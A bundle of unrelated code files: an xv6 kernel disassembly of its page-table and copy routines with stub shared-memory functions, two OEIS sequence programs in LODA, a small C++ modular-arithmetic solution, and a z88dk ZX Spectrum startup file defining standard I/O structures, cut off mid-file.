80106acc: 83 c4 10 add $0x10,%esp
80106acf: 5b pop %ebx
80106ad0: 5e pop %esi
80106ad1: 5d pop %ebp
80106ad2: c3 ret
80106ad3: 90 nop
80106ad4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
freevm(pgdir);
80106ad8: 89 34 24 mov %esi,(%esp)
80106adb: e8 10 ff ff ff call 801069f0 <freevm>
}
80106ae0: 83 c4 10 add $0x10,%esp
return 0;
80106ae3: 31 c0 xor %eax,%eax
}
80106ae5: 5b pop %ebx
80106ae6: 5e pop %esi
80106ae7: 5d pop %ebp
80106ae8: c3 ret
80106ae9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
80106af0: 31 c0 xor %eax,%eax
80106af2: eb d8 jmp 80106acc <setupkvm+0x5c>
80106af4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106afa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106b00 <kvmalloc>:
{
80106b00: 55 push %ebp
80106b01: 89 e5 mov %esp,%ebp
80106b03: 83 ec 08 sub $0x8,%esp
kpgdir = setupkvm();
80106b06: e8 65 ff ff ff call 80106a70 <setupkvm>
80106b0b: a3 a4 55 11 80 mov %eax,0x801155a4
lcr3(V2P(kpgdir)); // switch to the kernel page table
80106b10: 05 00 00 00 80 add $0x80000000,%eax
80106b15: 0f 22 d8 mov %eax,%cr3
}
80106b18: c9 leave
80106b19: c3 ret
80106b1a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106b20 <clearpteu>:
// Clear PTE_U on a page. Used to create an inaccessible
// page beneath the user stack.
void
clearpteu(pde_t *pgdir, char *uva)
{
80106b20: 55 push %ebp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106b21: 31 c9 xor %ecx,%ecx
{
80106b23: 89 e5 mov %esp,%ebp
80106b25: 83 ec 18 sub $0x18,%esp
pte = walkpgdir(pgdir, uva, 0);
80106b28: 8b 55 0c mov 0xc(%ebp),%edx
80106b2b: 8b 45 08 mov 0x8(%ebp),%eax
80106b2e: e8 cd f8 ff ff call 80106400 <walkpgdir>
if(pte == 0)
80106b33: 85 c0 test %eax,%eax
80106b35: 74 05 je 80106b3c <clearpteu+0x1c>
panic("clearpteu");
*pte &= ~PTE_U;
80106b37: 83 20 fb andl $0xfffffffb,(%eax)
}
80106b3a: c9 leave
80106b3b: c3 ret
panic("clearpteu");
80106b3c: c7 04 24 7a 78 10 80 movl $0x8010787a,(%esp)
80106b43: e8 18 98 ff ff call 80100360 <panic>
80106b48: 90 nop
80106b49: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106b50 <copyuvm>:
// Given a parent process's page table, create a copy
// of it for a child.
pde_t*
copyuvm(pde_t *pgdir, uint sz)
{
80106b50: 55 push %ebp
80106b51: 89 e5 mov %esp,%ebp
80106b53: 57 push %edi
80106b54: 56 push %esi
80106b55: 53 push %ebx
80106b56: 83 ec 2c sub $0x2c,%esp
pde_t *d;
pte_t *pte;
uint pa, i, flags;
char *mem;
if((d = setupkvm()) == 0)
80106b59: e8 12 ff ff ff call 80106a70 <setupkvm>
80106b5e: 85 c0 test %eax,%eax
80106b60: 89 45 e0 mov %eax,-0x20(%ebp)
80106b63: 0f 84 4c 01 00 00 je 80106cb5 <copyuvm+0x165>
return 0;
for(i = 0; i < sz; i += PGSIZE){
80106b69: 8b 45 0c mov 0xc(%ebp),%eax
80106b6c: 85 c0 test %eax,%eax
80106b6e: 0f 84 a4 00 00 00 je 80106c18 <copyuvm+0xc8>
80106b74: 31 ff xor %edi,%edi
80106b76: eb 4c jmp 80106bc4 <copyuvm+0x74>
panic("copyuvm: page not present");
pa = PTE_ADDR(*pte);
flags = PTE_FLAGS(*pte);
if((mem = kalloc()) == 0)
goto bad;
memmove(mem, (char*)P2V(pa), PGSIZE);
80106b78: 81 c6 00 00 00 80 add $0x80000000,%esi
80106b7e: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106b85: 00
80106b86: 89 74 24 04 mov %esi,0x4(%esp)
80106b8a: 89 04 24 mov %eax,(%esp)
80106b8d: e8 7e d7 ff ff call 80104310 <memmove>
if(mappages(d, (void*)i, PGSIZE, V2P(mem), flags) < 0) {
80106b92: 8b 45 e4 mov -0x1c(%ebp),%eax
80106b95: b9 00 10 00 00 mov $0x1000,%ecx
80106b9a: 89 fa mov %edi,%edx
80106b9c: 89 44 24 04 mov %eax,0x4(%esp)
80106ba0: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80106ba6: 89 04 24 mov %eax,(%esp)
80106ba9: 8b 45 e0 mov -0x20(%ebp),%eax
80106bac: e8 df f8 ff ff call 80106490 <mappages>
80106bb1: 85 c0 test %eax,%eax
80106bb3: 0f 88 ef 00 00 00 js 80106ca8 <copyuvm+0x158>
for(i = 0; i < sz; i += PGSIZE){
80106bb9: 81 c7 00 10 00 00 add $0x1000,%edi
80106bbf: 39 7d 0c cmp %edi,0xc(%ebp)
80106bc2: 76 54 jbe 80106c18 <copyuvm+0xc8>
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
80106bc4: 8b 45 08 mov 0x8(%ebp),%eax
80106bc7: 31 c9 xor %ecx,%ecx
80106bc9: 89 fa mov %edi,%edx
80106bcb: e8 30 f8 ff ff call 80106400 <walkpgdir>
80106bd0: 85 c0 test %eax,%eax
80106bd2: 0f 84 f0 00 00 00 je 80106cc8 <copyuvm+0x178>
if(!(*pte & PTE_P))
80106bd8: 8b 00 mov (%eax),%eax
80106bda: a8 01 test $0x1,%al
80106bdc: 0f 84 da 00 00 00 je 80106cbc <copyuvm+0x16c>
pa = PTE_ADDR(*pte);
80106be2: 89 c6 mov %eax,%esi
flags = PTE_FLAGS(*pte);
80106be4: 25 ff 0f 00 00 and $0xfff,%eax
80106be9: 89 45 e4 mov %eax,-0x1c(%ebp)
pa = PTE_ADDR(*pte);
80106bec: 81 e6 00 f0 ff ff and $0xfffff000,%esi
if((mem = kalloc()) == 0)
80106bf2: e8 99 b8 ff ff call 80102490 <kalloc>
80106bf7: 85 c0 test %eax,%eax
80106bf9: 89 c3 mov %eax,%ebx
80106bfb: 0f 85 77 ff ff ff jne 80106b78 <copyuvm+0x28>
}
return d;
bad:
freevm(d);
80106c01: 8b 45 e0 mov -0x20(%ebp),%eax
80106c04: 89 04 24 mov %eax,(%esp)
80106c07: e8 e4 fd ff ff call 801069f0 <freevm>
return 0;
80106c0c: 31 c0 xor %eax,%eax
}
80106c0e: 83 c4 2c add $0x2c,%esp
80106c11: 5b pop %ebx
80106c12: 5e pop %esi
80106c13: 5f pop %edi
80106c14: 5d pop %ebp
80106c15: c3 ret
80106c16: 66 90 xchg %ax,%ax
if((pte = walkpgdir(pgdir, (void *) i, 0)) == 0)
80106c18: 8b 45 08 mov 0x8(%ebp),%eax
80106c1b: 31 c9 xor %ecx,%ecx
80106c1d: ba fc ff ff 7f mov $0x7ffffffc,%edx
80106c22: e8 d9 f7 ff ff call 80106400 <walkpgdir>
80106c27: 85 c0 test %eax,%eax
80106c29: 0f 84 99 00 00 00 je 80106cc8 <copyuvm+0x178>
if(!(*pte & PTE_P))
80106c2f: 8b 30 mov (%eax),%esi
80106c31: f7 c6 01 00 00 00 test $0x1,%esi
80106c37: 0f 84 7f 00 00 00 je 80106cbc <copyuvm+0x16c>
myproc()->numPage++;
80106c3d: e8 4e ca ff ff call 80103690 <myproc>
pa = PTE_ADDR(*pte);
80106c42: 89 f7 mov %esi,%edi
flags = PTE_FLAGS(*pte);
80106c44: 81 e6 ff 0f 00 00 and $0xfff,%esi
pa = PTE_ADDR(*pte);
80106c4a: 81 e7 00 f0 ff ff and $0xfffff000,%edi
myproc()->numPage++;
80106c50: 83 40 7c 01 addl $0x1,0x7c(%eax)
if((mem = kalloc()) == 0)
80106c54: e8 37 b8 ff ff call 80102490 <kalloc>
80106c59: 85 c0 test %eax,%eax
80106c5b: 89 c3 mov %eax,%ebx
80106c5d: 74 a2 je 80106c01 <copyuvm+0xb1>
memmove(mem, (char*)P2V(pa), PGSIZE);
80106c5f: 81 c7 00 00 00 80 add $0x80000000,%edi
80106c65: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp)
80106c6c: 00
80106c6d: 89 7c 24 04 mov %edi,0x4(%esp)
80106c71: 89 04 24 mov %eax,(%esp)
80106c74: e8 97 d6 ff ff call 80104310 <memmove>
if(mappages(d, (void*)PGROUNDDOWN(i), PGSIZE, V2P(mem), flags) < 0) {
80106c79: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax
80106c7f: b9 00 10 00 00 mov $0x1000,%ecx
80106c84: 89 04 24 mov %eax,(%esp)
80106c87: 8b 45 e0 mov -0x20(%ebp),%eax
80106c8a: ba 00 f0 ff 7f mov $0x7ffff000,%edx
80106c8f: 89 74 24 04 mov %esi,0x4(%esp)
80106c93: e8 f8 f7 ff ff call 80106490 <mappages>
80106c98: 85 c0 test %eax,%eax
80106c9a: 78 0c js 80106ca8 <copyuvm+0x158>
80106c9c: 8b 45 e0 mov -0x20(%ebp),%eax
}
80106c9f: 83 c4 2c add $0x2c,%esp
80106ca2: 5b pop %ebx
80106ca3: 5e pop %esi
80106ca4: 5f pop %edi
80106ca5: 5d pop %ebp
80106ca6: c3 ret
80106ca7: 90 nop
kfree(mem);
80106ca8: 89 1c 24 mov %ebx,(%esp)
80106cab: e8 30 b6 ff ff call 801022e0 <kfree>
goto bad;
80106cb0: e9 4c ff ff ff jmp 80106c01 <copyuvm+0xb1>
return 0;
80106cb5: 31 c0 xor %eax,%eax
80106cb7: e9 52 ff ff ff jmp 80106c0e <copyuvm+0xbe>
panic("copyuvm: page not present");
80106cbc: c7 04 24 9e 78 10 80 movl $0x8010789e,(%esp)
80106cc3: e8 98 96 ff ff call 80100360 <panic>
panic("copyuvm: pte should exist");
80106cc8: c7 04 24 84 78 10 80 movl $0x80107884,(%esp)
80106ccf: e8 8c 96 ff ff call 80100360 <panic>
80106cd4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106cda: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106ce0 <uva2ka>:
//PAGEBREAK!
// Map user virtual address to kernel address.
char*
uva2ka(pde_t *pgdir, char *uva)
{
80106ce0: 55 push %ebp
pte_t *pte;
pte = walkpgdir(pgdir, uva, 0);
80106ce1: 31 c9 xor %ecx,%ecx
{
80106ce3: 89 e5 mov %esp,%ebp
80106ce5: 83 ec 08 sub $0x8,%esp
pte = walkpgdir(pgdir, uva, 0);
80106ce8: 8b 55 0c mov 0xc(%ebp),%edx
80106ceb: 8b 45 08 mov 0x8(%ebp),%eax
80106cee: e8 0d f7 ff ff call 80106400 <walkpgdir>
if((*pte & PTE_P) == 0)
80106cf3: 8b 00 mov (%eax),%eax
80106cf5: 89 c2 mov %eax,%edx
80106cf7: 83 e2 05 and $0x5,%edx
return 0;
if((*pte & PTE_U) == 0)
80106cfa: 83 fa 05 cmp $0x5,%edx
80106cfd: 75 11 jne 80106d10 <uva2ka+0x30>
return 0;
return (char*)P2V(PTE_ADDR(*pte));
80106cff: 25 00 f0 ff ff and $0xfffff000,%eax
80106d04: 05 00 00 00 80 add $0x80000000,%eax
}
80106d09: c9 leave
80106d0a: c3 ret
80106d0b: 90 nop
80106d0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
return 0;
80106d10: 31 c0 xor %eax,%eax
}
80106d12: c9 leave
80106d13: c3 ret
80106d14: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106d1a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
80106d20 <copyout>:
// Copy len bytes from p to user address va in page table pgdir.
// Most useful when pgdir is not the current page table.
// uva2ka ensures this only works for PTE_U pages.
int
copyout(pde_t *pgdir, uint va, void *p, uint len)
{
80106d20: 55 push %ebp
80106d21: 89 e5 mov %esp,%ebp
80106d23: 57 push %edi
80106d24: 56 push %esi
80106d25: 53 push %ebx
80106d26: 83 ec 1c sub $0x1c,%esp
80106d29: 8b 5d 14 mov 0x14(%ebp),%ebx
80106d2c: 8b 4d 0c mov 0xc(%ebp),%ecx
80106d2f: 8b 7d 10 mov 0x10(%ebp),%edi
char *buf, *pa0;
uint n, va0;
buf = (char*)p;
while(len > 0){
80106d32: 85 db test %ebx,%ebx
80106d34: 75 3a jne 80106d70 <copyout+0x50>
80106d36: eb 68 jmp 80106da0 <copyout+0x80>
va0 = (uint)PGROUNDDOWN(va);
pa0 = uva2ka(pgdir, (char*)va0);
if(pa0 == 0)
return -1;
n = PGSIZE - (va - va0);
80106d38: 8b 4d e4 mov -0x1c(%ebp),%ecx
80106d3b: 89 f2 mov %esi,%edx
if(n > len)
n = len;
memmove(pa0 + (va - va0), buf, n);
80106d3d: 89 7c 24 04 mov %edi,0x4(%esp)
n = PGSIZE - (va - va0);
80106d41: 29 ca sub %ecx,%edx
80106d43: 81 c2 00 10 00 00 add $0x1000,%edx
80106d49: 39 da cmp %ebx,%edx
80106d4b: 0f 47 d3 cmova %ebx,%edx
memmove(pa0 + (va - va0), buf, n);
80106d4e: 29 f1 sub %esi,%ecx
80106d50: 01 c8 add %ecx,%eax
80106d52: 89 54 24 08 mov %edx,0x8(%esp)
80106d56: 89 04 24 mov %eax,(%esp)
80106d59: 89 55 e4 mov %edx,-0x1c(%ebp)
80106d5c: e8 af d5 ff ff call 80104310 <memmove>
len -= n;
buf += n;
80106d61: 8b 55 e4 mov -0x1c(%ebp),%edx
va = va0 + PGSIZE;
80106d64: 8d 8e 00 10 00 00 lea 0x1000(%esi),%ecx
buf += n;
80106d6a: 01 d7 add %edx,%edi
while(len > 0){
80106d6c: 29 d3 sub %edx,%ebx
80106d6e: 74 30 je 80106da0 <copyout+0x80>
pa0 = uva2ka(pgdir, (char*)va0);
80106d70: 8b 45 08 mov 0x8(%ebp),%eax
va0 = (uint)PGROUNDDOWN(va);
80106d73: 89 ce mov %ecx,%esi
80106d75: 81 e6 00 f0 ff ff and $0xfffff000,%esi
pa0 = uva2ka(pgdir, (char*)va0);
80106d7b: 89 74 24 04 mov %esi,0x4(%esp)
va0 = (uint)PGROUNDDOWN(va);
80106d7f: 89 4d e4 mov %ecx,-0x1c(%ebp)
pa0 = uva2ka(pgdir, (char*)va0);
80106d82: 89 04 24 mov %eax,(%esp)
80106d85: e8 56 ff ff ff call 80106ce0 <uva2ka>
if(pa0 == 0)
80106d8a: 85 c0 test %eax,%eax
80106d8c: 75 aa jne 80106d38 <copyout+0x18>
}
return 0;
}
80106d8e: 83 c4 1c add $0x1c,%esp
return -1;
80106d91: b8 ff ff ff ff mov $0xffffffff,%eax
}
80106d96: 5b pop %ebx
80106d97: 5e pop %esi
80106d98: 5f pop %edi
80106d99: 5d pop %ebp
80106d9a: c3 ret
80106d9b: 90 nop
80106d9c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106da0: 83 c4 1c add $0x1c,%esp
return 0;
80106da3: 31 c0 xor %eax,%eax
}
80106da5: 5b pop %ebx
80106da6: 5e pop %esi
80106da7: 5f pop %edi
80106da8: 5d pop %ebp
80106da9: c3 ret
80106daa: 66 90 xchg %ax,%ax
80106dac: 66 90 xchg %ax,%ax
80106dae: 66 90 xchg %ax,%ax
80106db0 <shminit>:
char *frame;
int refcnt;
} shm_pages[64];
} shm_table;
void shminit() {
80106db0: 55 push %ebp
80106db1: 89 e5 mov %esp,%ebp
80106db3: 83 ec 18 sub $0x18,%esp
int i;
initlock(&(shm_table.lock), "SHM lock");
80106db6: c7 44 24 04 dc 78 10 movl $0x801078dc,0x4(%esp)
80106dbd: 80
80106dbe: c7 04 24 c0 55 11 80 movl $0x801155c0,(%esp)
80106dc5: e8 76 d2 ff ff call 80104040 <initlock>
acquire(&(shm_table.lock));
80106dca: c7 04 24 c0 55 11 80 movl $0x801155c0,(%esp)
80106dd1: e8 5a d3 ff ff call 80104130 <acquire>
80106dd6: b8 f4 55 11 80 mov $0x801155f4,%eax
80106ddb: 90 nop
80106ddc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
for (i = 0; i< 64; i++) {
shm_table.shm_pages[i].id =0;
80106de0: c7 00 00 00 00 00 movl $0x0,(%eax)
80106de6: 83 c0 0c add $0xc,%eax
shm_table.shm_pages[i].frame =0;
80106de9: c7 40 f8 00 00 00 00 movl $0x0,-0x8(%eax)
shm_table.shm_pages[i].refcnt =0;
80106df0: c7 40 fc 00 00 00 00 movl $0x0,-0x4(%eax)
for (i = 0; i< 64; i++) {
80106df7: 3d f4 58 11 80 cmp $0x801158f4,%eax
80106dfc: 75 e2 jne 80106de0 <shminit+0x30>
}
release(&(shm_table.lock));
80106dfe: c7 04 24 c0 55 11 80 movl $0x801155c0,(%esp)
80106e05: e8 16 d4 ff ff call 80104220 <release>
}
80106e0a: c9 leave
80106e0b: c3 ret
80106e0c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106e10 <shm_open>:
int shm_open(int id, char **pointer) {
80106e10: 55 push %ebp
return 0; //added to remove compiler warning -- you should decide what to return
}
80106e11: 31 c0 xor %eax,%eax
int shm_open(int id, char **pointer) {
80106e13: 89 e5 mov %esp,%ebp
}
80106e15: 5d pop %ebp
80106e16: c3 ret
80106e17: 89 f6 mov %esi,%esi
80106e19: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106e20 <shm_close>:
int shm_close(int id) {
80106e20: 55 push %ebp
return 0; //added to remove compiler warning -- you should decide what to return
}
80106e21: 31 c0 xor %eax,%eax
int shm_close(int id) {
80106e23: 89 e5 mov %esp,%ebp
}
80106e25: 5d pop %ebp
80106e26: c3 ret
|
; A097409: Initial decimal digit of n^5.
; 1,3,2,1,3,7,1,3,5,1,1,2,3,5,7,1,1,1,2,3,4,5,6,7,9,1,1,1,2,2,2,3,3,4,5,6,6,7,9,1,1,1,1,1,1,2,2,2,2,3,3,3,4,4,5,5,6,6,7,7,8,9,9,1,1,1,1,1,1,1,1,1,2,2,2,2,2,2,3,3,3,3,3,4,4,4,4,5,5,5,6,6,6,7,7,8,8,9,9,1
add $0,1
pow $0,5
lpb $0
mov $1,$0
div $0,10
lpe
mov $0,$1
|
#include<iostream>
#include<cstdio>
using namespace std;
typedef long long LL;
const int mo=1e9+7;
LL n;
int main(){
scanf("%lld",&n);
if(n&1)puts("1");
else{
n/=2;
printf("%lld",n%mo*((n+1)%mo)%mo);
}
return 0;
}
|
; A122219: Period 9: repeat 5, 4, 5, 4, 3, 4, 5, 4, 5.
; 5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4,5,4,5,5,4,5,4,3,4
add $0,1
mod $0,9
add $0,1
mov $1,2
lpb $0,1
add $2,$0
div $0,3
sub $1,$0
sub $0,$2
sub $2,$2
lpe
add $1,3
|
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; zx spectrum ram model ;;
;; generated by target/zx/startup/zx_crt_0.m4 ;;
;; ;;
;; 48k memory model (flat 64k address space) ;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; CRT AND CLIB CONFIGURATION ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
include "../crt_defaults.inc"
include "crt_target_defaults.inc"
include "../crt_rules.inc"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; SET UP MEMORY MODEL ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
include "memory_model.inc"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; GLOBAL SYMBOLS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
include "../clib_constants.inc"
include "clib_target_constants.inc"
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; INSTANTIATE DRIVERS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
ifndef CRT_FONT
PUBLIC CRT_FONT
EXTERN _font_8x8_rom
defc CRT_FONT = _font_8x8_rom
endif
; When FILEs and FDSTRUCTs are instantiated labels are assigned
; to point at created structures.
;
; The label formats are:
;
; __i_stdio_file_n = address of static FILE structure #n (0..__I_STDIO_NUM_FILE-1)
; __i_fcntl_fdstruct_n = address of static FDSTRUCT #n (0..__I_FCNTL_NUM_FD-1)
; __i_fcntl_heap_n = address of allocation #n on heap (0..__I_FCNTL_NUM_HEAP-1)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; FILE : _stdin
;
; driver: zx_01_input_kbd_inkey
; fd : 0
; mode : read only
; type : 001 = input terminal
; tie : __i_fcntl_fdstruct_1
;
; ioctl_flags : 0x03b0
; buffer size : 64 bytes
; debounce : 1 ms
; repeat_start : 500 ms
; repeat_period : 15 ms
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SECTION data_clib
SECTION data_stdio
; FILE *
PUBLIC _stdin
_stdin: defw __i_stdio_file_0 + 2
; FILE structure
__i_stdio_file_0:
; open files link
defw 0
; jump to underlying fd
defb 195
defw __i_fcntl_fdstruct_0
; state_flags_0
; state_flags_1
; conversion flags
; ungetc
defb 0x40 ; read + stdio manages ungetc + normal file type
defb 0x02 ; last operation was read
defb 0
defb 0
; mtx_recursive
defb 0 ; thread owner = none
defb 0x02 ; mtx_recursive
defb 0 ; lock count = 0
defb 0xfe ; atomic spinlock
defw 0 ; list of blocked threads
; fd table entry
SECTION data_fcntl_fdtable_body
defw __i_fcntl_fdstruct_0
; FDSTRUCT structure
SECTION data_fcntl_stdio_heap_body
EXTERN console_01_input_terminal_fdriver
EXTERN zx_01_input_kbd_inkey
__i_fcntl_heap_0:
; heap header
defw __i_fcntl_heap_1
defw 105
defw 0
__i_fcntl_fdstruct_0:
; FDSTRUCT structure
; call to first entry to driver
defb 205
defw console_01_input_terminal_fdriver
; jump to driver
defb 195
defw zx_01_input_kbd_inkey
; flags
; reference_count
; mode_byte
defb 0x01 ; stdio handles ungetc + type = input terminal
defb 2
defb 0x01 ; read only
; ioctl_flags
defw 0x03b0
; mtx_plain
defb 0 ; thread owner = none
defb 0x01 ; mtx_plain
defb 0 ; lock count = 0
defb 0xfe ; atomic spinlock
defw 0 ; list of blocked threads
; tied output terminal
; pending_char
; read_index
defw __i_fcntl_fdstruct_1
defb 0
defw 0
; b_array_t edit_buffer
defw __edit_buffer_0
defw 0
defw 64
; getk_state
; getk_lastk
; getk_debounce_ms
; getk_repeatbegin_ms
; getk_repeatperiod_ms
defb 0
defb 0
defb 1
defw 500
defw 15
; reserve space for edit buffer
__edit_buffer_0: defs 64
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; FILE : _stdout
;
; driver: zx_01_output_char_32
; fd : 1
; mode : write only
; type : 002 = output terminal
;
; ioctl_flags : 0x2370
; cursor coord : (0,0)
; window : (0,32,0,24)
; scroll limit : 0
; font address : CRT_FONT
; text colour : 56
; text mask : 0
; background : 56
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SECTION data_clib
SECTION data_stdio
; FILE *
PUBLIC _stdout
_stdout: defw __i_stdio_file_1 + 2
; FILE structure
__i_stdio_file_1:
; open files link
defw __i_stdio_file_0
; jump to underlying fd
defb 195
defw __i_fcntl_fdstruct_1
; state_flags_0
; state_flags_1
; conversion flags
; ungetc
defb 0x80 ; write + normal file type
defb 0 ; last operation was write
defb 0
defb 0
; mtx_recursive
defb 0 ; thread owner = none
defb 0x02 ; mtx_recursive
defb 0 ; lock count = 0
defb 0xfe ; atomic spinlock
defw 0 ; list of blocked threads
; fd table entry
SECTION data_fcntl_fdtable_body
defw __i_fcntl_fdstruct_1
; FDSTRUCT structure
SECTION data_fcntl_stdio_heap_body
EXTERN console_01_output_terminal_fdriver
EXTERN zx_01_output_char_32
__i_fcntl_heap_1:
; heap header
defw __i_fcntl_heap_2
defw 35
defw __i_fcntl_heap_0
__i_fcntl_fdstruct_1:
; FDSTRUCT structure
; call to first entry to driver
defb 205
defw console_01_output_terminal_fdriver
; jump to driver
defb 195
defw zx_01_output_char_32
; flags
; reference_count
; mode_byte
defb 0x02 ; type = output terminal
defb 2
defb 0x02 ; write only
; ioctl_flags
defw 0x2370
; mtx_plain
defb 0 ; thread owner = none
defb 0x01 ; mtx_plain
defb 0 ; lock count = 0
defb 0xfe ; atomic spinlock
defw 0 ; list of blocked threads
; cursor coordinate
; window rectangle
; scroll limit
defb 0, 0
defb 0, 32, 0, 24
defb 0
; font address
; text colour
; text mask
; background colour
EXTERN CRT_FONT
defw CRT_FONT - 256
defb 56
defb 0
defb 56
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; DUPED FILE DESCRIPTOR
;
; FILE : _stderr
; flags : 0x80
;
; fd : 2
; dup fd: __i_fcntl_fdstruct_1
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
SECTION data_clib
SECTION data_stdio
; FILE *
PUBLIC _stderr
_stderr: defw __i_stdio_file_2 + 2
; FILE structure
__i_stdio_file_2:
; open files link
defw __i_stdio_file_1
; jump to duped fd
defb 195
defw __i_fcntl_fdstruct_1
; state_flags_0
; state_flags_1
; conversion flags
; ungetc
defb 0x80
defb 0
defb 0
defb 0
; mtx_recursive
defb 0 ; thread owner = none
defb 0x02 ; mtx_recursive
defb 0 ; lock count = 0
defb 0xfe ; atomic spinlock
defw 0 ; list of blocked threads
; fd table entry
SECTION data_fcntl_fdtable_body
defw __i_fcntl_fdstruct_1
; FDSTRUCT structure
defc __i_fcntl_fdstruct_2 = __i_fcntl_fdstruct_1
; adjust reference count on duped FDSTRUCT
SECTION code_crt_init
ld hl,__i_fcntl_fdstruct_1 + 7 ; & FDSTRUCT.ref_count
inc (hl)
inc (hl)
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; create open and closed FILE lists
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; __clib_fopen_max = max number of open FILEs specified by user
; 3 = number of static FILEs instantiated in crt
; __i_stdio_file_n = address of static FILE structure #n (0..I_STDIO_FILE_NUM-1)
SECTION data_clib
SECTION data_stdio
IF (__clib_fopen_max > 0) || (3 > 0)
; number of FILEs > 0
; construct list of open files
IF 3 > 0
; number of FILEs statically generated > 0
SECTION data_clib
SECTION data_stdio
PUBLIC __stdio_open_file_list
__stdio_open_file_list: defw __i_stdio_file_2
ELSE
; number of FILEs statically generated = 0
SECTION bss_clib
SECTION bss_stdio
PUBLIC __stdio_open_file_list
__stdio_open_file_list: defw 0
ENDIF
; construct list of closed / available FILEs
SECTION data_clib
SECTION data_stdio
PUBLIC __stdio_closed_file_list
__stdio_closed_file_list: defw 0, __stdio_closed_file_list
IF __clib_fopen_max > 3
; create extra FILE structures
SECTION bss_clib
SECTION bss_stdio
__stdio_file_extra: defs (__clib_fopen_max - 3) * 15
SECTION code_crt_init
ld bc,__stdio_closed_file_list
ld de,__stdio_file_extra
ld l,__clib_fopen_max - 3
loop:
push hl
EXTERN asm_p_forward_list_alt_push_front
call asm_p_forward_list_alt_push_front
ld de,15
add hl,de
ex de,hl
pop hl
dec l
jr nz, loop
ENDIF
ENDIF
IF (__clib_fopen_max = 0) && (3 = 0)
; create empty file lists
SECTION bss_clib
SECTION bss_stdio
PUBLIC __stdio_open_file_list
__stdio_open_file_list: defw 0
SECTION data_clib
SECTION data_stdio
PUBLIC __stdio_closed_file_list
__stdio_closed_file_list: defw 0, __stdio_closed_file_list
ENDIF
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;; create fd table
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
